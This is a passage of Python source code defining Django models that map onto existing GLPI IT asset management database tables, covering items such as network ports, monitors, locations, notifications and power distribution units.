GlpiKnowbaseitemtranslations(models.Model): id = models.IntegerField(primary_key=True) knowbaseitems = models.ForeignKey('GlpiKnowbaseitems', on_delete=models.PROTECT) language = models.CharField(max_length=10, blank=True, null=True) name = models.TextField(blank=True, null=True) answer = models.TextField(blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_knowbaseitemtranslations' class GlpiLineoperators(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) comment = models.TextField(blank=True, null=True) mcc = models.IntegerField(blank=True, null=True) mnc = models.IntegerField(blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_lineoperators' unique_together = (('mcc', 'mnc'),) class GlpiLines(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() is_deleted = models.IntegerField() caller_num = models.CharField(max_length=255) caller_name = models.CharField(max_length=255) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) lineoperators = models.ForeignKey('GlpiLineoperators', on_delete=models.PROTECT) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) linetypes = models.ForeignKey('GlpiLinetypes', on_delete=models.PROTECT) date_creation = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_lines' class GlpiLinetypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_linetypes' class GlpiLinks(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) link = models.CharField(max_length=255, blank=True, null=True) data = models.TextField(blank=True, null=True) open_window = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_links' class GlpiLinksItemtypes(models.Model): id = models.IntegerField(primary_key=True) links = models.ForeignKey('GlpiLinks', on_delete=models.PROTECT) itemtype = models.CharField(max_length=100) class Meta: managed = False db_table = 'glpi_links_itemtypes' unique_together = ('itemtype', 'links') class GlpiLocations(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) completename = models.TextField(blank=True, null=True) comment = models.TextField(blank=True, null=True) level = models.IntegerField() ancestors_cache = models.TextField(blank=True, null=True) sons_cache = models.TextField(blank=True, null=True) address = models.TextField(blank=True, null=True) postcode = models.CharField(max_length=255, blank=True, null=True) town = models.CharField(max_length=255, blank=True, null=True) state = models.CharField(max_length=255, blank=True, null=True) country = models.CharField(max_length=255, blank=True, null=True) building = models.CharField(max_length=255, blank=True, null=True) room = models.CharField(max_length=255, blank=True, null=True) latitude = models.CharField(max_length=255, blank=True, null=True) longitude = models.CharField(max_length=255, blank=True, null=True) altitude = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_locations' unique_together = ('entities', 'locations', 'name') class GlpiLogs(models.Model): id = models.IntegerField(primary_key=True) itemtype = models.CharField(max_length=100) items_id = models.IntegerField() itemtype_link = models.CharField(max_length=100) linked_action = models.IntegerField() user_name = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) id_search_option = models.IntegerField() old_value = models.CharField(max_length=255, blank=True, null=True) new_value = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_logs' class GlpiMailcollectors(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) host = models.CharField(max_length=255, blank=True, null=True) login = models.CharField(max_length=255, blank=True, null=True) filesize_max = models.IntegerField() is_active = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) comment = models.TextField(blank=True, null=True) passwd = models.CharField(max_length=255, blank=True, null=True) accepted = models.CharField(max_length=255, blank=True, null=True) refused = models.CharField(max_length=255, blank=True, null=True) errors = models.IntegerField() use_mail_date = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) requester_field = models.IntegerField() add_cc_to_observer = models.IntegerField() class Meta: managed = False db_table = 'glpi_mailcollectors' class GlpiManufacturers(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_manufacturers' class GlpiMonitormodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) weight = models.IntegerField() required_units = models.IntegerField() depth = models.FloatField() power_connections = models.IntegerField() power_consumption = models.IntegerField() is_half_rack = models.IntegerField() picture_front = models.TextField(blank=True, null=True) picture_rear = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_monitormodels' class GlpiMonitors(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) contact = models.CharField(max_length=255, blank=True, null=True) contact_num = models.CharField(max_length=255, blank=True, null=True) users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() comment = models.TextField(blank=True, null=True) serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) size = models.DecimalField(max_digits=5, decimal_places=2) have_micro = models.IntegerField() have_speaker = models.IntegerField() have_subd = models.IntegerField() have_bnc = models.IntegerField() have_dvi = models.IntegerField() have_pivot = models.IntegerField() have_hdmi = models.IntegerField() have_displayport = models.IntegerField() locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) monitortypes = models.ForeignKey('GlpiMonitortypes', on_delete=models.PROTECT) monitormodels = models.ForeignKey('GlpiMonitormodels', on_delete=models.PROTECT) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) is_global = models.IntegerField() is_deleted = models.IntegerField() is_template = models.IntegerField() template_name = models.CharField(max_length=255, blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) ticket_tco = models.DecimalField(max_digits=20, decimal_places=4, blank=True, null=True) is_dynamic = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) is_recursive = models.IntegerField() class Meta: managed = False db_table = 'glpi_monitors' class GlpiMonitortypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_monitortypes' class GlpiNetpoints(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_netpoints' class GlpiNetworkaliases(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) networknames = models.ForeignKey('GlpiNetworknames', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) fqdns = models.ForeignKey('GlpiFqdns', on_delete=models.PROTECT) comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_networkaliases' class GlpiNetworkequipmentmodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) weight = models.IntegerField() required_units = models.IntegerField() depth = models.FloatField() power_connections = models.IntegerField() power_consumption = models.IntegerField() is_half_rack = models.IntegerField() picture_front = models.TextField(blank=True, null=True) picture_rear = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_networkequipmentmodels' class GlpiNetworkequipments(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) ram = models.CharField(max_length=255, blank=True, null=True) serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) contact = models.CharField(max_length=255, blank=True, null=True) contact_num = models.CharField(max_length=255, blank=True, null=True) users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) comment = models.TextField(blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) networks = models.ForeignKey('GlpiNetworks', on_delete=models.PROTECT) networkequipmenttypes = models.ForeignKey('GlpiNetworkequipmenttypes', on_delete=models.PROTECT) networkequipmentmodels = models.ForeignKey('GlpiNetworkequipmentmodels', on_delete=models.PROTECT) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) is_deleted = models.IntegerField() is_template = models.IntegerField() template_name = models.CharField(max_length=255, blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) ticket_tco = models.DecimalField(max_digits=20, decimal_places=4, blank=True, null=True) is_dynamic = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_networkequipments' class GlpiNetworkequipmenttypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_networkequipmenttypes' class GlpiNetworkinterfaces(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_networkinterfaces' class GlpiNetworknames(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) items_id = models.IntegerField() itemtype = models.CharField(max_length=100) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) fqdns = models.ForeignKey('GlpiFqdns', on_delete=models.PROTECT) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_networknames' class GlpiNetworkportaggregates(models.Model): id = models.IntegerField(primary_key=True) networkports = models.OneToOneField('GlpiNetworkports', on_delete=models.PROTECT) networkports_id_list = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_networkportaggregates' class GlpiNetworkportaliases(models.Model): id = models.IntegerField(primary_key=True) networkports = models.OneToOneField('GlpiNetworkports', on_delete=models.PROTECT) networkports_id_alias = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_networkportaliases' class GlpiNetworkportdialups(models.Model): id = models.IntegerField(primary_key=True) networkports = models.OneToOneField('GlpiNetworkports', on_delete=models.PROTECT) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_networkportdialups' class GlpiNetworkportethernets(models.Model): id = models.IntegerField(primary_key=True) networkports = models.OneToOneField('GlpiNetworkports', on_delete=models.PROTECT) items_devicenetworkcards = models.ForeignKey('GlpiDevicenetworkcards', on_delete=models.PROTECT) netpoints_id = models.IntegerField() type = models.CharField(max_length=10, blank=True, null=True) speed = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_networkportethernets' class GlpiNetworkportfiberchannels(models.Model): id = models.IntegerField(primary_key=True) networkports = models.OneToOneField('GlpiNetworkports', on_delete=models.PROTECT) items_devicenetworkcards = models.ForeignKey('GlpiDevicenetworkcards', on_delete=models.PROTECT) netpoints_id = models.IntegerField() wwn = models.CharField(max_length=16, blank=True, null=True) speed = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_networkportfiberchannels' class GlpiNetworkportlocals(models.Model): id = models.IntegerField(primary_key=True) networkports = models.OneToOneField('GlpiNetworkports', on_delete=models.PROTECT) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_networkportlocals' class GlpiNetworkports(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=100) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() logical_number = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) instantiation_type = models.CharField(max_length=255, blank=True, null=True) mac = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_networkports' class GlpiNetworkportsNetworkports(models.Model): id = models.IntegerField(primary_key=True) networkports_id_1 = models.IntegerField() networkports_id_2 = models.IntegerField() class Meta: managed = False db_table = 'glpi_networkports_networkports' unique_together = ('networkports_id_1', 'networkports_id_2') class GlpiNetworkportsVlans(models.Model): id = models.IntegerField(primary_key=True) networkports = models.ForeignKey('GlpiNetworkports', on_delete=models.PROTECT) vlans = models.ForeignKey('GlpiVlans', on_delete=models.PROTECT) tagged = models.IntegerField() class Meta: managed = False db_table = 'glpi_networkports_vlans' unique_together = ('networkports', 'vlans') class GlpiNetworkportwifis(models.Model): id = models.IntegerField(primary_key=True) networkports = models.OneToOneField('GlpiNetworkports', on_delete=models.PROTECT) items_devicenetworkcards = models.ForeignKey('GlpiDevicenetworkcards', on_delete=models.PROTECT) wifinetworks = models.ForeignKey('GlpiWifinetworks', on_delete=models.PROTECT) networkportwifis = models.ForeignKey('self', on_delete=models.PROTECT) version = models.CharField(max_length=20, blank=True, null=True) mode = models.CharField(max_length=20, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_networkportwifis' class GlpiNetworks(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_networks' class GlpiNotepads(models.Model): id = models.IntegerField(primary_key=True) itemtype = models.CharField(max_length=100, blank=True, null=True) items_id = models.IntegerField() date = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) users_id_lastupdater = models.IntegerField() content = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_notepads' class GlpiNotifications(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) itemtype = models.CharField(max_length=100) event = models.CharField(max_length=255) comment = models.TextField(blank=True, null=True) is_recursive = models.IntegerField() is_active = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) allow_response = models.IntegerField() class Meta: managed = False db_table = 'glpi_notifications' class GlpiNotificationsNotificationtemplates(models.Model): id = models.IntegerField(primary_key=True) notifications = models.ForeignKey('GlpiNotifications', on_delete=models.PROTECT) mode = models.CharField(max_length=20) notificationtemplates = models.ForeignKey('GlpiNotificationtemplates', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_notifications_notificationtemplates' unique_together = ('notifications', 'mode', 'notificationtemplates') class GlpiNotificationtargets(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() type = models.IntegerField() notifications = models.ForeignKey('GlpiNotifications', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_notificationtargets' class GlpiNotificationtemplates(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) itemtype = models.CharField(max_length=100) date_mod = models.DateTimeField(blank=True, null=True) comment = models.TextField(blank=True, null=True) css = models.TextField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_notificationtemplates' class GlpiNotificationtemplatetranslations(models.Model): id = models.IntegerField(primary_key=True) notificationtemplates = models.ForeignKey('GlpiNotificationtemplates', on_delete=models.PROTECT) language = models.CharField(max_length=10) subject = models.CharField(max_length=255) content_text = models.TextField(blank=True, null=True) content_html = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_notificationtemplatetranslations' class GlpiNotimportedemails(models.Model): id = models.IntegerField(primary_key=True) from_field = models.CharField(db_column='from', max_length=255) # Field renamed because it was a Python reserved word. to = models.CharField(max_length=255) mailcollectors = models.ForeignKey('GlpiMailcollectors', on_delete=models.PROTECT) date = models.DateTimeField() subject = models.TextField(blank=True, null=True) messageid = models.CharField(max_length=255) reason = models.IntegerField() users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_notimportedemails' class GlpiObjectlocks(models.Model): id = models.IntegerField(primary_key=True) itemtype = models.CharField(max_length=100) items_id = models.IntegerField() users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) date_mod = models.DateTimeField() class Meta: managed = False db_table = 'glpi_objectlocks' unique_together = ('itemtype', 'items_id') class GlpiOlalevelactions(models.Model): id = models.IntegerField(primary_key=True) olalevels = models.ForeignKey('GlpiOlalevels', on_delete=models.PROTECT) action_type = models.CharField(max_length=255, blank=True, null=True) field = models.CharField(max_length=255, blank=True, null=True) value = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_olalevelactions' class GlpiOlalevelcriterias(models.Model): id = models.IntegerField(primary_key=True) olalevels = models.ForeignKey('GlpiOlalevels', on_delete=models.PROTECT) criteria = models.CharField(max_length=255, blank=True, null=True) condition = models.IntegerField() pattern = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_olalevelcriterias' class GlpiOlalevels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) olas = models.ForeignKey('GlpiOlas', on_delete=models.PROTECT) execution_time = models.IntegerField() is_active = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() match = models.CharField(max_length=10, blank=True, null=True) uuid = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_olalevels' class GlpiOlalevelsTickets(models.Model): id = models.IntegerField(primary_key=True) tickets = models.ForeignKey('GlpiTickets', on_delete=models.PROTECT) olalevels = models.ForeignKey('GlpiOlalevels', on_delete=models.PROTECT) date = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_olalevels_tickets' unique_together = ('tickets', 'olalevels') class GlpiOlas(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() type = models.IntegerField() comment = models.TextField(blank=True, null=True) number_time = models.IntegerField() calendars = models.ForeignKey('GlpiCalendars', on_delete=models.PROTECT) date_mod = models.DateTimeField(blank=True, null=True) definition_time = models.CharField(max_length=255, blank=True, null=True) end_of_working_day = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) slms = models.ForeignKey('GlpiSlms', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_olas' class GlpiOperatingsystemarchitectures(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_operatingsystemarchitectures' class GlpiOperatingsystemeditions(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_operatingsystemeditions' class GlpiOperatingsystemkernels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_operatingsystemkernels' class GlpiOperatingsystemkernelversions(models.Model): id = models.IntegerField(primary_key=True) operatingsystemkernels = models.ForeignKey('GlpiOperatingsystemkernels', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_operatingsystemkernelversions' class GlpiOperatingsystems(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_operatingsystems' class GlpiOperatingsystemservicepacks(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_operatingsystemservicepacks' class GlpiOperatingsystemversions(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_operatingsystemversions' class GlpiPassivedcequipmentmodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) weight = models.IntegerField() required_units = models.IntegerField() depth = models.FloatField() power_connections = models.IntegerField() power_consumption = models.IntegerField() is_half_rack = models.IntegerField() picture_front = models.TextField(blank=True, null=True) picture_rear = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_passivedcequipmentmodels' class GlpiPassivedcequipments(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) passivedcequipmentmodels = models.ForeignKey('GlpiPassivedcequipmentmodels', on_delete=models.SET_NULL, blank=True, null=True) passivedcequipmenttypes = models.ForeignKey('GlpiPassivedcequipmenttypes', on_delete=models.PROTECT) users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() is_template = models.IntegerField() template_name = models.CharField(max_length=255, blank=True, null=True) is_deleted = models.IntegerField() states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_passivedcequipments' class GlpiPassivedcequipmenttypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_passivedcequipmenttypes' class GlpiPdumodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) weight = models.IntegerField() required_units = models.IntegerField() depth = models.FloatField() power_connections = models.IntegerField() max_power = models.IntegerField() is_half_rack = models.IntegerField() picture_front = models.TextField(blank=True, null=True) picture_rear = models.TextField(blank=True, null=True) is_rackable = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_pdumodels' class GlpiPdus(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) pdumodels = models.ForeignKey('GlpiPdumodels', on_delete=models.SET_NULL, blank=True, null=True) users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() is_template = models.IntegerField() template_name = models.CharField(max_length=255, blank=True, null=True) is_deleted = models.IntegerField() states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) pdutypes = models.ForeignKey('GlpiPdutypes', on_delete=models.PROTECT) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_pdus' class GlpiPdusPlugs(models.Model): id = models.IntegerField(primary_key=True) plugs = models.ForeignKey('GlpiPlugs', on_delete=models.PROTECT) pdus = models.ForeignKey('GlpiPdus', on_delete=models.PROTECT) number_plugs = models.IntegerField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_pdus_plugs' class GlpiPdusRacks(models.Model): id = models.IntegerField(primary_key=True) racks = models.ForeignKey('GlpiRacks', on_delete=models.PROTECT) pdus = models.ForeignKey('GlpiPdus', on_delete=models.PROTECT) side = models.IntegerField(blank=True, null=True) position = models.IntegerField() bgcolor = models.CharField(max_length=7, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_pdus_racks' class GlpiPdutypes(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_pdutypes' class GlpiPeripheralmodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) weight = models.IntegerField() required_units = models.IntegerField() depth = models.FloatField() power_connections = models.IntegerField() power_consumption = models.IntegerField() is_half_rack = models.IntegerField() picture_front = models.TextField(blank=True, null=True) picture_rear = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_peripheralmodels' class GlpiPeripherals(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) contact = models.CharField(max_length=255, blank=True, null=True) contact_num = models.CharField(max_length=255, blank=True, null=True) users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() comment = models.TextField(blank=True, null=True) serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) peripheraltypes = models.ForeignKey('GlpiPeripheraltypes', on_delete=models.PROTECT) peripheralmodels = models.ForeignKey('GlpiPeripheralmodels', on_delete=models.PROTECT) brand = models.CharField(max_length=255, blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) is_global = models.IntegerField() is_deleted = models.IntegerField() is_template = models.IntegerField() template_name = models.CharField(max_length=255, 